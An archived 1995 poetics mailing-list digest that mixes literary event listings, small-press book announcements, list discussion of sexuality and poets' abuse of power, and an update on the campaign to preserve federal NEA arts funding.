AWOL: April Happenings
Mon 3 Apr 1995

****
AUSTRALIAN WRITING ONLINE is a small press distribution service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting to or, if you would like to receive future postings, please contact AWOL directly on [redacted].

Please note that [redacted] is a temporary address until we set
up our own address sometime later this year
****

Australian Writing OnLine

AWOL Happings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL on email [redacted] or write to AWOL, PO Box 333, Concord NSW 2137, Australia. AWOL postings are also available by snail mail - please contact us for details.

April 1995

Friday April 7.

Fiction and poetry reading with Vera Newsom, Peter Kirkpatrick, Ann Davis and Matthew Karpin at 7.30pm in Borad Room of the NSW Writers Centre (The NSW Writers Centre is in the grounds of Rozelle Hospital. Enter from Balmian Road opposite Cecily Street). For further information ph 02 [redacted]. Cost $5/$3.

*

Fifth birthday of Live Poets at 22 Napier Street North Sydney. Inquiries to Sue Hicks on 02 [redacted].

*

Saturday April 8.

The nice little bookshop berry invite you to a night of HOT COLLATION. Chris Mansell, author of DELTA (1978), HEAD, HEART AND STONE (1982) and REDSHIFT/BLUESHIFT (1982), will read from her new collection DAY EASY SUNLIGHT FINE. Along with work by Jenny Boult, Coral Hull and Sue Moss, DAY EASY SUNLIGHT FINE forms part of Penguin Australia's new collection HOT COLLATION.

HOT Collection will be launched by Peter Skrzynecki at 7pm at the nice little bookshop, Broughton Court, Queen Street, Berry NSW. For further information about the launch contact the nice little bookshop ph 044 64 2422 0r fax 044 642088.

*

Wednesday April 12

The Rozelle Readings at the NSW Writers Centre. Trevor Langlands and the Bradbury Inn Poets. 7.30 to 9.30pm. Enquiries Ann Davis 02 [redacted].

*

Sunday 30 April

Closing date for ULITARRA ROBERT HARRIS POETRY PRIZE. Prize $500 and publication in ULITARRA 7. To enter send $8 for an entry form and a copy of Ulitarra 6 to PO Box 392, French's Forest NSW 2086.

*

April/May 1995

Australian Writers' Week Literature Festival in Germany at the University of Hamburg. Contact Bettina Keil, Brauerknechtgraben 55, 20495 Hamburg, Germany. Phone (040 36 4988 or fax 040 37 51 9526

*

****

CONFERENCES

Association for the Study of Australian Literature

ASAL
2-7 July 1995
Adelaide

The 1995 ASAL conference will be held at the historic Institute Building on North Terrace in the heart of Adelaide.

Keynote Speaker:
Paul Carter, author of The Road to Botany Bay and Living in a New Country.

Dorothy Green Memorial Lecture:
Drusilla Modjeska, author of Exiles at Home and Poppy.

Enquiries: Phil Butterss, Department of English, University of Adelaide, Adelaide 5005.
Ph: (08) [redacted]. Fax: (08) [redacted].
Email: [redacted]

(AWOL will shortly be posting the ASAL 1995 program).

****

EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Deadline for registration, May 1, 1995.

Further information available from Conference organisers:

* Bruce Clunies Ross (45) 35 32 85 82 internet: [redacted] * Martin Leer (45) 35 32 85 87 internet: [redacted] * Merete Borch (45) 35 32 85 84 internet: [redacted]

Copenhagen University, Department of English
Njalsgade 80, DK-2300 Kobenhavn S

Tlf. (45) 35 32 86 00
Fax (45) 35 32 86 15

Eva Rask Knudsen
Wiedeweldtsgade 50, st.
2100 Copenhagen O.
(45) 35266025

****

Mark Roberts
Australian Writing OnLine

↑ Index

29. Tom White

Recent & Forthcoming books from O Books and Kelsey St. Press

Mon 3 Apr 1995

The forthcoming O Books (5729 Clover Drive, Oakland, CA 94618 - FAX [redacted]; and Small Press Distribution, 1814 San Pablo Ave. Berkeley, CA 94702): P. Inman's VEL($8.00); Alice Notley's CLOSE TO ME AND CLOSER ... (THE LANGUAGE OF HEAVEN) and DESAMERE, TWO BOOKS ($10.50); John Crouse's LAPSES ($8.00) - are available in June 1995. Another recent O Book: Camille Roy's COLD HEAVEN is two plays which are poems - Eileen Myles describes: "Not a play, but an exploding poem for two bodies." Carla Harryman says: "Roy's second play is a fascinating read into an imaginary realm that thrives on a distorted association between life and death."

Camille Roy has another book now out from Kelsey St. Press. Here are some Kelsey St. books (2718 Ninth St., Berkeley, CA 94710 - FAX: [redacted]; also distributed by Small Press Distribution): THE ROSY MEDALLIONS, SELECTED WORK, Camille Roy (72 pp, $10, ISBN 0-932716-35-0): the second collection of writing by lesbian author and performance artist Camille Roy.

These startling witty pieces combine a playwright's keen ear for vernacular speech with a poet's compression. Every line has its physical punch. "Camille Roy's skittish, predatory language stalks inexplicable, then pounces. Her nasty luscious stories and poems make up a dyke coming-of-age novel; set not in the American family, but in our traveling explosion of body-race-class-gender ...(Robert Gluck) "Camille Roy's a pioneer in the new literature which used to be called autobiography, poetry, theater, prose or even the essay." Eileen Myles)

DISTANCE WITHOUT DISTANCE, Barbara Einzig (Kelsey St. Press 136 pp, $10, ISBN 0-32716-34-2): Einzig's collection of short fictions continues the author's project of fiction as poem, her unique way of investigating the life of the hero as a creature of habit. The subject of her stories is an axis running through sensual perception, language and landscape. "How to let things simply happen, wander onto the page and find their true place ... How to integrate the miracle of wing and tense, the color of secrets and the market at Cumana and all the contents of consciousness, seems to me the impressive and ambitious undertaking in Barbara Einzig's DISTANCE WITHOUT DISTANCE..." (Carole Maso)

SPHERICITY, Mei-mei Berssenbrugge, poems; Richard Tuttle, drawings (Kelsey St. Press, 48 pp. 7 drawings, $14, ISBN 0-932716-30-X): SPHERICITY is the first collection of poems by Mei-mei Berssenbrugge in several years. In this new edition light continues as the medium of small shocks of perception and revelation which boundaries only partly contain. "In SPHERICITY, when a point is silent, it's not a vantage point. Really there's no vantage point, and the instant of apprehension is solely. The event horizon is so loaded, the horizon's everywhere: 'the seam, my experience of your experience, a horizon at dawn, is the instant of apprehension.' ... Berssenbrugge subjects 'seeing' an event to language. Comparison itself (of Tuttle's vision and Berssenbrugge's writing) is Berssenbrugge's long line of the poems which as a measure/shape that extends throughout the text, is as if there were one infinite line of 'relation' that constitutes the 'event horizon' of SPHERICITY."

OTHER BOOKS. From Roof Books (Segue Foundation, 303 East 8th St., N.Y. N.Y. 10009; also distributed by Small Press Distribution): OBJECTS IN THE TERRIFYING TENSE / LONGING FROM TAKING PLACE, Leslie Scalapino, $9.95, ISBN 0-937804-54-1. Has essays on Mei-mei Berssenbrugge, Carla Harryman, Lyn Hejinian, Robert Creeley, and others. Joan Retallack writes about OBJECTS: "We value Scalapino's act of writing for taking us to the rim of a textual eros full of mystery and lucidity at one but not the same time. These essays evoke multiple senses of time - a long history of con/texts, a recent past full of local excess and global abuse, and a present surface tension brimming with developing meaning. Here is ... a writer who acts on her knowledge that

'we don't have words at all;' but also that 'the text is erotic not simply by withholding,' but in so far as it touches 'the rim of occurring....'"

Tom White
Phone: [redacted]
Fax: [redacted]

↑ Index

30. I.LIGHTMAN
Re: Desire
Mon 3 Apr 1995

I was really interested to see Dodie Bellamy's two succinct messages about being "surprised to find such a sexy message on the poetics listserve" (& also to note, Dodie, your subtle qualification "I wasn't talking of the individuals--just the discourse"). Dodie's remarks were touchstones for my own reservations about the Poetics list and recent discussions. I absolutely do not want to offer the following remarks as an *interpretation* of Dodie's remarks, but it's interesting that I can better explain myself by citing Mirage Periodical, which Dodie edits with Kevin Killian.

"Sexy" is a very interesting word. There hasn't been on the list much examination/deconstruction of any specifics of sex, and yet there are many references related to sex, that make sense by drawing on experiences other list-members have had or know about; sometimes to me, as a near macrobiotic (a la John Cage) non-druggy person, these

discussions of sex feel as excluding as discussions about good grades of drug between users. I'm sure, I know, that sex can be (spoken about as, anyway) refined (as in white sugar and bread) into a blissful high, and dispensed, dealt, consumed; but it isn't like that for me. Nor is it the shared riff of coupledom, like the hits you play night after night

on tour to a fanbase that is two people - not even the couple themselves, but the two personae they are bringing out of each other. For me sex is part of a life I'm leading of *connection* with people; it is one of the *many* equally intense collaborations I can have with people, not just collaborations, sometimes a finding of a higher joint being one has to surrender oneself to that week. How could I explain to a monogamous sexual partner the level of incomparable closeness between myself and my fellow songwriter, that no sexual partner and I could ever reach? I don't write

songs with my songwriter all the time; I could imagine making love with someone similarly not all the time, cohabiting with a friend who is not a sexual partner, fostering and adopting a child. If anyone thinks I am espousing

hippydom/free love, let me point out the usually feminist historical studies of whose freedom there was in free love; it seems little wonder that people like me would have been reluctant to stand up for the principles when the right attacked the practioners, when many practioners don't stand up for the real principle of either freedom or love. I hate Ginsberg, I hate the prominence of a certain kind of sexy, an unthinking automatism-sexy, like Grenier hated speech. Hitting on young men? Yes, AG hits on some other things that need hitting on, but he also hits on the young, and that isn't an easily laughed off flaw; it isn't like the flaws I have, and it isn't like the flaws that others would have who would be as capable as Ginsberg of hitting on the other things that need hitting on. Alright, he's an old man, now, and the young are warned; but let's call an end to the continuance of this kind of practice, let's not excuse it. It is not just the "sexiness" of fame that goes on when Ginsberg hits on the young; it may be, and more commonly is in my experience, the desire by a young poet (like all young poets estranged) seeking company and encouragement; the exploitation of that, the weedling out of sex in return for attention, is despicable; I can think of one soi-disant language poet who does this all the time to young female undergraduates, on his worldwide itinerary of writer-in-residency, and it is just as bad. Just because the young male has rewards/is accepted for becoming a loveless-sex junkie, and so seems to have less "innocence" to lose, it is just as cruel a loss of a potential fine poet to have them made cynical in this way.

For all of the above reasons, it doesn't surprise me that a sex-stupid dominant culture sees Ginsberg as an icon; it just isn't avant-garde to be a sex junkie like that. That's them, all of them, this is me, Ira

↑ Index

31. Edward Foster
Re: Responsibility
Mon 3 Apr 1995

sorry, chris, short hair. best wishes, rapunzel

↑ Index

32. Edward Foster
Re: Responsibility
Mon 3 Apr 1995

me, too, dodie, but grateful. wish there were more. am BORED with all the abstract theory. what's that got to do with poetry? IT'S BORING, BORING, BORING, BORING, BORRRRRIIINNNGGG!!!!! -- thank you, cris!

↑ Index

33. Chris Stroffolino
ian macdonald
Mon 3 Apr 1995

Dear charles alexander--Who is this ian Macdonald--there were several rock no rollers named that and maybe one of them has now tried to cash in on it in a book...there was the guy in Fairport Convention who later became Ian Matthews of matthews southern comfort and then there was the original leader of King Crimson who later became a member of, YEEGAHDS, Foreigner...Anyway, maybe it's neither--Does Anybody know where i can find a poem called to "The ROck n ROll industry in time of crisis" written I think by--I blank on the name....Chris

↑ Index

34. Edward Foster
Re: Back to poetry
Mon 3 Apr 1995

re: "transcendental," note l. schwartz's "transcendental lyric."

↑ Index

35. Chris Stroffolino
Re: Back to poetry
Mon 3 Apr 1995

By Schwartz does Foster mean "leonard" or "delmore"--by trnascendental

does he mean "boring borring BORRRINNG" or "sexy" and what (or hwat, as some people say) poem begins with the line "Quips and players?" and why not? cs.

↑ Index

36. Gary Sullivan
Back to poetry (_Talisman_)
Mon 3 Apr 1995

Ed Foster writes:

>re: "transcendental," note l. schwartz's "transcendental lyric."

...which appeared in _Talisman_ #9, "A Flicker at the Edge of Things: Some Thoughts on Lyric Poetry." Followed up in _Talisman_ #10 with Stephen-Paul Martin's response "Immanence/Transcendence," Richard Blevins' response "Responding by Anticipating: Reading the Poetry behind Leonard Schwartz's 'A Flicker at the Edge of Things," and Schwartz's response-response, titled, simply, "A Response." Great reading!

And, speaking of _Talisman_...the new issue (#13) is out *now*. (I'm borrowing a friend's copy--couldn't wait!) More than THREE HUNDRED PAGES!
Yet another groovy font! (What is the new typeface, Ed?) An AMAZING (as always) issue, featuring an interview w/ and essays/poetry (by W.C. Bamberger, who I think does Bamberger Books in Michigan?; Lee Ann Brown; Chris Funkhouser; Bernadette Mayer; Douglas Oliver; Kristin Prevallet; Andrew Schelling; Katie Yates) about/for Anne Waldman. Also, a selection of Mary Fabilli's work, edited by Drew Gardner; Robert Duncan on H.D.; Merle Bachman on Mei-mei Berssenbrugge; essays by Charles Cantalupo; Kathleen Fraser; Andrew Joron (my sci-fi hero!); Vyacheslav Kuritsyn; Mark Lipovetskii; Susan M. Schultz; and Zhang Ziqing. Great new poem ("Inside Language") by Charles Borkuis (see his new SINK Press book, _Proximity (Stolen Arrows)_). Other highlights (for me) include "Meditations" by Jerome Sala ("Meditation 3" on Bryan Ferry); an excerpt from Daniel Davidson's "Desire"; Bob Holman's "Let's Get Butt Naked and Write Poetry" (indeed!); "On L," by thrilling 20-something Bostonite, Ange Mlinko; e-pal Mark Wallace's "The Displaced Blizzard"; Anthony Schlagel--Minneapolis' best-kept secret--'s "The Secret Music"; Stephen Paul Miller--not to be confused with Stephen-Paul Martin--'s "Squash Omlette" ...

Lots more!--including a TWELVE-PAGE LIST of "Books Received." (Invaluable!) (I'm hyperventillating just *looking* at it!)

My question to you, Ed: DON'T YOU EVER SLEEP?

This issue (a mere $6.00 + $2.00/postage & handling--go figure!) is available from TALISMAN, P.O. Box 1117, Hoboken, NJ 07030.

I'm off to read the rest of it ...

Yours,

Gary

↑ Index

37. Aldon L. Nielsen

Re: The return of transcendentalism

Mon 3 Apr 1995

I'd thought we'd gotten beyond all that!

Seriously, though; I'm no longer sure I recognize the transcendent being discussed here (but never having seen it, how should I describe that bear I would have seen).

Jews, Christians, Moslems and my mother all believe not only that there is a transcendent realm of apriori truth, but that the transcendent has manifested itself within human writing (bible, koran, etc.) The problem with this is, of

course, that the non-believer has only their word for it. If we could step "outside" together, we might be able to settle this problem, but we can, which is why these are called transcendent arguments ("I have before me phenomenon X, which leadse me to believe that it _must_ have been preceded by phenomenon V). I've been down that path before. \ Much mischief has been done by that mistranslation of Derrida (see Berube's _Public Access_ on this) -- My own account of that notorious quip is that Derrida was answering the question, "Where is nothing?" answer -- "Outside the text."

I am I because my audience knows me.

I have a friend who thinks he's a hypochonriac, but he isn't really. I tired to get a Hallmark card of the get well/get over it variety, but that had nothing that suited, so I gave him Thoreau's _Cape Cod_ as an antidote.

An uncorrectlable line above should read "But we can't." Next posting will be from my own computer, upon which I can administer corrections to myself -- I am self-correcting. My epistemology, unfortunately, is not.

In short, we can all agree that there really is an outside outside, but we will do this agreeing in language. We can't really write against the language, only against the language as we found it.

In a Hopicentric world, the artist would be the envy of all nostalgiac non-Hopi writers.

I am I because my little dog passed through the mirror stage of production. Oh where, oh where can he be. How much is that basket in the window?

↑ Index

38. Alan Golding
DOING GENDER ON THE NET event
Mon 3 Apr 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

I thought this event might be of interest, given some of our recent discussions of gender and e-space.

----------Original message----------
id 0976; Mon, 03 Apr 95 13:28:57 EDT
with TCP; Mon, 03 Apr 95 13:28:56 EDT
id aa11772; 3 Apr 95 13:20 EDT
id AA39696; Mon, 3 Apr 1995 16:54:45 GMT
(5.67a8/1.34)
id AA28424; Mon, 3 Apr 1995 12:54:42 -0400

id AA07041; Mon, 3 Apr 95 12:54:41 EDT
Date: Mon, 03 Apr 95 13:01:00
From: Jeremy Grainger <[redacted]>
To: [redacted], [redacted]
Subject: DOING GENDER ON THE NET event

------- Forwarded Message

Subject: DOING GENDER ON THE NET event

DOING GENDER ON THE NET
An MIT Women's Studies 'Women in Cyberspace' Mini-Conference
Friday, April 7, 1995
4-9pm
Rm. 34-101, MIT
50 Vassar St., Cambridge, MA

On April 7, 1995, the MIT Program in Women's Studies will continue its popular 'WOMEN IN CYBERSPACE' series with a mini-conference on the psychological, social, and theoretical issues raised by gender-bending practices on the Internet. A public town-hall style discussion -- mediated by a panel of scholars and net practitioners -- will begin at 4pm, pizza will be available from 6-7pm, and at 7pm, ALLUCQUERE ROSANNE (SANDY) STONE, a leading theoretician of the issue of gender and bodies in cyberspace will make a formal presentation featuring excerpts from her performance piece, "THE VAMPIRE'S KISS: REFLECTIONS ON LIQUID IDENTITY." Sandy Stone is Director of the Advanced Communication Technologies Laboratory at the University of Texas, Austin, and is also an Assistant Professor in their Radio, TV and Film Department. Her book "The War of desire and Technology at the Close of the Mechanical Age" will be published by the MIT Press in May 1995. Women in Cyberspace is sponsored by MIT Women's Studies, with support from the Offices of the Deans of the Schools of Engineering and of Humanities and Social Sciences. For more information, call [redacted].

↑ Index

39. Alan Golding

ian macdonald

Mon 3 Apr 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Chris Stroffolino:

Are you thinking of O'Hara's "To the Film Industry in Crisis," which is on p. 232 of the recent O'Hara Collected? If not, no, I don't know the poem you're referring to.

Wasn't there an Ian McDonald in the Doobies? Some kinda McDonald, anyway.

Alan

↑ Index

40. John Lavagnino
A surprising publication
Mon 3 Apr 1995

The collected edition of Joe Brainard's *I Remember* has just been republished---by Penguin Books, of all people.

I remember get-rich-quick schemes of selling hand-painted bridge tallies, inventing an umbrella hat, and renting myself out as an artist by the hour.

I remember my high school art teacher's rather dubious theory that the way to tell if a painting is any good or not is to turn it upside down.

I remember picture windows with not much view except other picture windows.

I remember the rather severe angles of ``Oriental'' lamp shades.

I remember, up high, wallpaper borders.

John Lavagnino

↑ Index

41. Kevin Killian
Re: Desire, Ira Lightman
Mon 3 Apr 1995

> *I was really interested to see Dodie Bellamy's two succinct messages about being "surprised to find such a sexy message on the poetics listserve"*

Really, Ira, my intention with my original message was simply to be playful--I thought. But maybe it was a passive-agressive impulse to be provocative. But, thanks for responding.

> *(& also to note, Dodie, your subtle qualification "I wasn't talking of the individuals--just the discourse"). Dodie's remarks were touchstones for my own reservations about the Poetics list and recent discussions.*

I feel strange writing anything on this listserve at all, since I'm not a member of it--Kevin is. This is no accident, I think. I could have easily had my name included. I think it is indicative of how I position myself as an outsider to this

community. If I may be so bold as to offer what I imagine your reservations about Poetics list are about--I think, as far as the issue of sexuality goes--this is basically a heterosexual space, and there isn't the vocabulary for dealing with the sexual-beingness of the individuals involved like there is in a gay community. Kevin and I both live in two worlds that only occasionally overlap--Norma Cole, for instance has been joining us in that overlapping--a gay, mostly art and fiction world--and the basically heterosexual poetics community. In the gay world the individuals involved are seen as actively sexual beings and it's no big deal. In the heterosexual poetics world I get the sense that the sexuality of the members is treated some kind of secret--a "behind closed doors" type of thing. Some younger poets from the East Coast are a big exception to this massive, and I'm sure faulty, generalization of mine. Whenever I'm involved in the poetics community I try to act as neuter as possible, but I always feel I'm never neuter enough.

I recently read Catherine Clement's Syncope: The Philosophy of Rapture, a book I cannot go into enough raptures about. It knocked my socks off. It is a book about rupture: religious ecstacy, passionate falling in love, orgasm, sneezing, swooning, depression, the dip in the Tango. If you think of sex in terms of rupture, it would certainly seem to be an important point in a discussion of poetics.

XOX
Dodie

↑ Index

42. Gary Sullivan
Re: Desire
Mon 3 Apr 1995

Dear Ira: Wow! That absolutely captures exactly my own thoughts & anger w/respect to Ginsberg--& others--'s ABUSE OF POWER. ABUSE is what it is, people; we might have the guts, finally, to call it that. I know the soi-dissant lang po you're speaking of--hell, what younger poet doesn't? He won this year's "BUTTUFUOCO" Award in _Exile_ (another nominee being Ginsberg himself). A 20-something friend of mine here in St. Paul was absolutely POUNCED UPON by yet-another drunken, salivating, power-seeking CREEP (a "recently estranged" lang po) who wouldn't stop harrassing her *all night* DESPITE PROTESTS, after a reading a few years ago in Tucson (she used to work at the Poetry Center there; he was the visiting reader). Of course, NO ONE would help her out, pry the DIRTBAG off of her; that wouldn't have been "respectful" of the older, "accomplished" poet. My friend received a package from this slimeball--an "apology"--a month later, which INCLUDED COPIES OF SEVERAL OF HIS

BOOKS. (!?!) Sickening, absolutely sickening. You're right to point out, Ira, that "hitting on" is rarely just that, & has as much to do with sex (or love) as rape. It's absolutely about POWER, its ABUSE. Thank you, Ira, for calling a spade a spade. The rest of you; you might bother lifting a finger the next time you see someone-- ALWAYS younger, "green"--being hurt like this. It's almost always done in public--as if, to paraphrase G. Bowering, that makes it "okey-dokey." Any of you think this is merely griping or (worse?) mud- slinging, YOU sit there all evening trying to dislodge some 40-, 50- or 60-year old's hand from YOUR pants, THEN you tell us we're overreacting. Thanks, again, Ira, for giving me the courage to say this. Yours, Gary

↑ Index

43. Mn Center For Book Arts
Re: ian macdonald
Mon 3 Apr 1995

Dear Chris (we met long ago in Philadelphia through Gil Ott at Painted Bride, nice to talk with you)

The Ian MacDonald who wrote the book about the Beatles is described on the book jacket as follows: "Formerly deputy editor of New Musical Express, which has long been at the forefront of reporting on popular music, Ian MacDonald is also an accomplished musician and composer. He is the author of The New Shostakovich, the widely acclaimed, definitive biography of the twentieth-century Russian composer. He lives in London."

That's all I know about him except that he's a very confused & sometimes political thinker, often annoying, yet very perceptive about music, and provoking about its connections to politics & history. My guess is he's not one of the MacDonalds you mention.

charles alexander

↑ Index

44. Edward Foster
Re: Back to poetry
Mon 3 Apr 1995

no, it's l. for leonard, tho i happen to like delmore s. work a lot. very unfashionable, but very good. but the transcendental part, the boring are those who deny it yet again, again, again. as for sexy, any context, but who are those players?

↑ Index

45. Edward Foster
Re: Back to poetry (_Talisman_)
Mon 3 Apr 1995

hey, gary, who needs sleep? that's out of context. new t's getting in the mail bit by bit, and new terrific gerrit lansing, joe donahue, and gustaf sobin books follow in a few weeks.

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46. Wystan Curnow
Re: ian macdonald
Mon 3 Apr 1995

Dear Chris,
I believe Old MacDonald had a farm. Up North.
Is this any help?
Wystan

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47. Steve Evans
Espousing Update 4/3 (Long)
Mon 3 Apr 1995

CONTENTS:

+ BACK FROM THE INTERMISSION
+ POETRY FLASH
+ SOME WEB SITES THAT HAVE INFO ON FEDERAL ARTS FUNDING
+ A CALENDAR OF INFORMATION
+ BONUS (?!): JOHN SILBER'S DEFENSE OF THE NEA--
"We live, after all, in an age when John Cage was taken seriously as a composer."

++++++++++++++++++++++++++

BACK FROM THE INTERMISSION

This *Freely Espousing* update, the first one since 7 March, is organized primarily in calendar form and is meant to supplement previous Updates (in a few particulars) as well as to circulate information about developments in the last month.

From our perspective, the struggle to preserve federal arts funding is now at a strange juncture. Key figures from the corporate media and the ideological right (cf. the John Silber editorial reproduced here from the Congressional Record, below) have recently come out in favor of preserving the NEA in some

form and the question appears to be shifting from one of brute survival to what kind of "re-organization" arts funding will undergo. For instance, single author grants look to be a major casualty in the latest battles (cf. Ralph Regular's remarks on 16 March, also below). This means more power to the managers, and less to the makers, of culture. Imaginative long-term alternatives to preserving the bureacrats while eliminating the artists are still urgently needed!

As always, corrections, additions, and further speculations are welcome. Sentimental though it may sound, we hate nothing more than uni-directional information flows.

POETRY FLASH

Poetry Flash 259 (March 1995) contains a brief report on Freely Espousing under the somewhat inexplicable title "Flashback." The account is on the inside back cover (p.39) and aside from the title and an intro graph that locates us in "Provincetown, Rhode Island," it ran pretty much as we had (hurriedly) written it in the week following 28 January. Unfortunately, Flash editors decided not to run an account Kevin Magee and Myung Mi Kim had put together about a Bay area event on 27 January.

SOME WEB SITES THAT HAVE INFO ON FEDERAL ARTS FUNDING

American Arts Alliance Home Page
http://www.tmn.com/0h/Artswire/www/aaa/aaahome.html

ArtsUSA
http://www.artsusa.org/

Arts Wire Home Page Front Door
http://www.tmn.com/0h/Artswire/www/awfront.html

Saving the NEA, NEH, and CPB
http://132.162.165.174/

Thomas: Legislative Information on the Internet
http://thomas.loc.gov/

The Electronic Democracy Forum (EDF)
http://edf.www.media.mit.edu

[According to a recent edition of *Hotwire*, the EDF is generating resistance to the Contract With America. EDF'S e-mailed legislative alerts are sent to all subscribers several days before critical votes in the House and Senate or before potential Presidential vetoes. The alerts contain the names, numbers and brief descriptions of bills, along with contact information (e-mail, phone, fax & post) for your two Senators. To join, send your e-mail address, state abbreviation and zip code to [redacted]. EDF will correlate your state with your Senators and will

then contact you about important upcoming votes and other Congressional news.]

=====A CALENDAR OF INFORMATION=====

6 FEBRUARY: CLINTON BUDGET Under Clinton's proposed budget, the NEA would be funded at $172.4m, the NEH at $182m, and the IMS for $29.8m. These figures represent a 3% increase over current funding levels.

28 FEBRUARY: NY ARTISTS OPPOSE CONTRACT <cf. Espousing 2/17 for press-release; Brenda Coultas of the Poetry Project reports that the event, while raising only a modest sum of money for LitNet, did achieve its principle goal of building solidarity among NYC artists and writers. Look for further events.>

1 MARCH: MICHAEL GREENE ON GRAMMY AWARDS Michael Greene, CEO of the National Academy of Recording Arts and Sciences, delivers a pro-NEA speech (and provides the advocacy 1-800 number) in the opening moments of the Grammy broadcast. Usage of the advoacy number spikes tremendously.

14 MARCH: NATIONAL ADVOCACY DAY From reading the papers, one knows only that Garth Brooks, Michael Bolton, and Kenny G. urged Congress to maintain federal funding for the arts (Brooks meets with Newt Gingrich, etc. We're working on getting a de-celebritized account of the day, but since follow-up rarely matches build-up this may take some digging. If anyone receiving this Update participated in the days events, e-mail us your impressions.
Further Note: In a Sunday New York Times op-ed piece (19 Mar 1995: E15), Frank Rich describes the impact of this intervention as follows: "For the first time in the culture war of '95, the anti-N.E.A. forces were thrown on the defensive." Rich attributes the development to Michael Greene's assumption leadership in pro-N.E.A camp: "A Georgian who overlapped with Mr. Gingrich at West Georgia College, Mr. Greene first took command at the Grammy Awards on March 1, when, in defiance of CBS dictums, he gave an endowment-advocacy speech with an 800 number ([redacted])."

16 MARCH: HOUSE RESCISSIONS PROCESS [FY 1995] By a vote of 260 to 168, Florida Republican Cliff Stearns's amendment to the House rescission package--tripling the cut to unobligated NEA funds for 95--was defeated. A spokesperson for the National Assembly of Local Arts Agency characterized this as "a clear victory" in that seventy-five House Republicans crossed party lines to defeat the Stearns Amendment and keep the rescission figure at its original $5m. From Stearns's remarks introducing the Amendment: "My colleagues, remember, this has to go to the conference committee. Traditionally, historically, when it goes to the conference committee, they cut it even further down. So I say to my friends here in the House, let's make at least a modicum of a cut, 9 percent total, so if it goes to conference and it comes back, we will not be left like we did last year with a 2.5 percent reduction after

we labored for hours on the House floor to get just a mere 5 percent" (*Congressional Record* H3290-93). From Ralph Regula's remarks: "I just want to advise Members of the situation. In the subcommittee, we took out $5 million from NEA, remembering last year we cut it 2 percent on the floor and sustained that in the conference. That $5 million comes out of individual grants. There will be no money left in the NEA for individual grants which have been the problem. None. Zero. If this amendment is passed, this will have to come out of the grants all over the United States to small communities with symphonies, ballet, and museums. It will mean the concert on the mall on the Fourth of July and Memorial Day, I hope many Members have seen it on C-SPAN, it is a great thing. Basically, if you vote for this amendment, you are voting against those small amounts that reach out across the United States for educational programs, for the small groups within the communities, for the grants to the State arts commissions. You are not voting against individual grants. We have already eliminated all the money for the individual grants in the subcommittee which was ratified by the full Committee on Appropriations. The Committee on Educational and Economic Opportunities will have to hear the question of reauthorizing the NEA, so that is the place to deal with the problem. If we do not want NEA, we do not have to reauthorize it for fiscal year 1996 and prospectively. But let us not cut out that little bit of money that is being spread across the United States to many of the things that you cherish in each of your respective communities" (*Congressional Record* 3290-93).
Further Note: As of the 15th, there had been six NEA-related Amendments allowed. Only the Stearns Amendment (tripling the rescission cut) was actually introduced. A breakdown of the six may be of interest with respect to FY 96 budget struggles, so here it is: *three were by Phil Crane (R-IN): one to rescind all unobligated funds; one to rescind $15m; one to rescind $10m.
* Bob Barr (R-GA) offered an amendment virtually identical to Stearns's. *
Finally, Jerrold Nadler (D-NY) planned to offer an amendment to restore the $5m rescission cut to the NEA.

16 MARCH: John Kasich, the Ohio Republican who chairs the House Budget Committee, presented an illustrative list of spending cuts (to make up for the proposed Republican tax bill) that included elimination of the NEA and NEA.

23 MARCH: COMMUNICATIONS DECENCY ACT OF 1995
The Senate Commerce Committee passed telecom legislation that included an amended version of the Communications Decency Act of 1995, commonly known
as "the Exon Amendment." This draft was introduced by Sen. Slade Gorton (R-VT).

For amendment text, updates and action alerts, see:
ftp.eff.org, /pub/Alerts/

gopher.eff.org, 1/Alerts
http://www.eff.org/pub/Alerts/

For more information, contact the Electronic Frontier Foundation
[redacted]
[redacted] (voice), [redacted] (fax)

24 MARCH: SENATE RESCISSIONS PROCESS [FY 1995] The Senate Appropriations Committee, chaired by Senator Mark Hatfield (R-OR), met to consider the FY 95 rescission package. Note: This was a somewhat disappointing development; if the consideration of rescissions had been postponed until after the upcoming recess the NEA/NEH could have proceeded with scheduled awards. Further Note: The Comittee recommended a $5m cut in FY 95 unobligated funds for NEA. While the figure is the same as it was in the House, the Senate Committee's recommendation did not stipulate that individual grants be targetted.

27 MARCH: OSCAR AWARDS Although less focused than the Grammies, the broadcast did include pro-NEA speeches by the President of the Academy and Lifetime Achievement honoree Quincy Jones (and Jamie Lee Curtis was wearing her postage stamps). The publicity also occasioned some backlash; in the Providence Journal an op-ed pounced on the contradiction of a profit-driven medium like Hollywood cinema pleading for public monies for preservation.

29 MARCH: STUDENTS ACT AGAINST CONTRACT WITH AMERICA "Students at universities around the country held rallies, marches, teach-ins and vigils today to protest both proposed Federal cuts in education and the Republicans' Contract With America, which they said was responsible" ("Students Protest Education Cuts at Rallies Around US" by Peter Applebombe, NYTimes 30 March 1995). For information, contact: the Campus Activists' Network (CANET), which hosts the CAN-ER mailing list, a forum for campus activists working to stop cuts in government support for higher education. The list is facilitated by Sarah Lund of Student Action Coalition at Kent State, who will try to keep discussion focused on activism around tuition and student aid cuts. For more information on CANET, send any message to: [redacted].

29 MARCH
Senate (floor) consideration of FY 95 rescission package results in proposed $5m cut to NEA, and $5m to NEH.

5 APRIL: HOUSE APPROPRIATIONS PROCESS [FY 1996] The House Committee on Interior Appropriations (chair, Ralph Regula) will hold a meeting to consider 1996 funding for the NEA at 10:00 AM in Rayburn B308. Jane Alexander is scheduled to testify.

8 APRIL - 30 APRIL
Senate recess. Schedule meetings with your Senators.

8 APRIL - 23 APRIL
House recess. Schedule meetings with your Representatives.

++++++++++++++++++++++++++

JOHN SILBER ON THE ARTS IN AMERICA (Senate - March 30, 1995)
>
> [Page: S4840]
>
> Mr. KENNEDY. Mr. President, in a thoughtful article in the Boston
